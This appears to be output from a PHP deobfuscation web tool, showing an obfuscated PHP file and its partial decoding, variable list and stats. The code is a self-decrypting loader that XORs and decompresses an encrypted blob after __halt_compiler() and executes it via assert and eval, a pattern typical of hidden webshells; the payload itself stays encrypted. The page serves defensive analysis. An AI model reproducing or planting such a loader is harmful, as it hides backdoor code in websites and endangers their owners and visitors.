Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $AP="f152ff3d0236535f1a5feb9272731e47"; function mc($OQ,$Ba){$zH=strlen($OQ);$wg=s..

Decoded Output download

<?php 
$AP="f152ff3d0236535f1a5feb9272731e47"; 
function mc($OQ,$Ba){$zH=strlen($OQ);$wg=strlen($Ba);for($Fg=0;$Fg<$zH;$Fg++){$OQ[$Fg]=$OQ[$Fg]^$Ba[$Fg%$wg];}return $OQ;}function Ap($ok){$Xz=256;$qN=8;$C4=array();$AT=0;$sB=0;for($Fg=0;$Fg<strlen($ok);$Fg++){$AT=($AT<<8)+ord($ok[$Fg]);$sB+=8;if($sB>=$qN){$sB-=$qN;$C4[]=$AT>>$sB;$AT&=(1<<$sB)-1;$Xz++;if($Xz>>$qN){$qN++;}}}$Ih=range("","");$pM='';foreach($C4 as $Fg=>$D5){$Pe=$Ih[$D5];if(!isset($Pe)){$Pe=$eZ.$eZ[0];}$pM.=$Pe;if($Fg){$Ih[]=$eZ . $Pe[0];}$eZ=$Pe;}return $pM;}$Rg="assert";$Zd="file_get_contents";$a0=Ap(mc($Zd(__FILE__,false,null,__COMPILER_HALT_OFFSET__),'hQbAq5HXEp'));$Rg("eval($a0) || 1");                ?>bhEW|Xjdp}Ot`@aw}n2)hn`QSISI#D{Ca&zt*	Qv9\d}ikuWbDP)BTAbY 
Gegv{z(3li^lP`s{OT@<{vJi1K+0>Beg @T*e4a]s[RP 
 
:i.KA} u)UMJEw91[bVi"VO,{(G1@%H@Pyfz,X#s<Y_vi"fJ4HrI,d>wkG\u0161,@xdAn6|XJrW8cyuv;Ghtl:j&

Did this file decode correctly?

Original Code

<?php
$AP="f152ff3d0236535f1a5feb9272731e47";
function mc($OQ,$Ba){$zH=strlen($OQ);$wg=strlen($Ba);for($Fg=0;$Fg<$zH;$Fg++){$OQ[$Fg]=$OQ[$Fg]^$Ba[$Fg%$wg];}return $OQ;}function Ap($ok){$Xz=256;$qN=8;$C4=array();$AT=0;$sB=0;for($Fg=0;$Fg<strlen($ok);$Fg++){$AT=($AT<<8)+ord($ok[$Fg]);$sB+=8;if($sB>=$qN){$sB-=$qN;$C4[]=$AT>>$sB;$AT&=(1<<$sB)-1;$Xz++;if($Xz>>$qN){$qN++;}}}$Ih=range("\0","\xff");$pM='';foreach($C4 as $Fg=>$D5){$Pe=$Ih[$D5];if(!isset($Pe)){$Pe=$eZ.$eZ[0];}$pM.=$Pe;if($Fg){$Ih[]=$eZ . $Pe[0];}$eZ=$Pe;}return $pM;}$Rg="\141\x73\163\145\162\x74";$Zd="\x66\151\x6c\145\137\147\x65\x74\137\x63\157\156\164\145\x6e\x74\x73";$a0=Ap(mc($Zd(__FILE__,false,null,__COMPILER_HALT_OFFSET__),'hQbAq5HXEp'));$Rg("\145\166\141\154\x28\44\x61\60\51\x20\x7c\174\x20\61");__halt_compiler();bhEW|Xjdp}Ot`@aw}n2)hn`QSISI#D{Ca&zt*	Qv9\d}ikuWbDP)BTAbY
Gegv{z(3li^lP`s{OT@<{vJi1K+0>Beg @T*e4a]s[RP

:i.KA} u)UMJEw91[bVi"VO,{(G1@%H@Pyfz,X#s<Y_vi"fJ4HrI,d>wkG\,@xdAn6|XJrW8cyuv;Ghtl:j&

Function Calls

None

Variables

$AP f152ff3d0236535f1a5feb9272731e47
$Rg assert
$Zd file_get_contents

Stats

MD5 61a14790c660a35f67ca704ef6ba28af
Eval Count 0
Decode Time 131 ms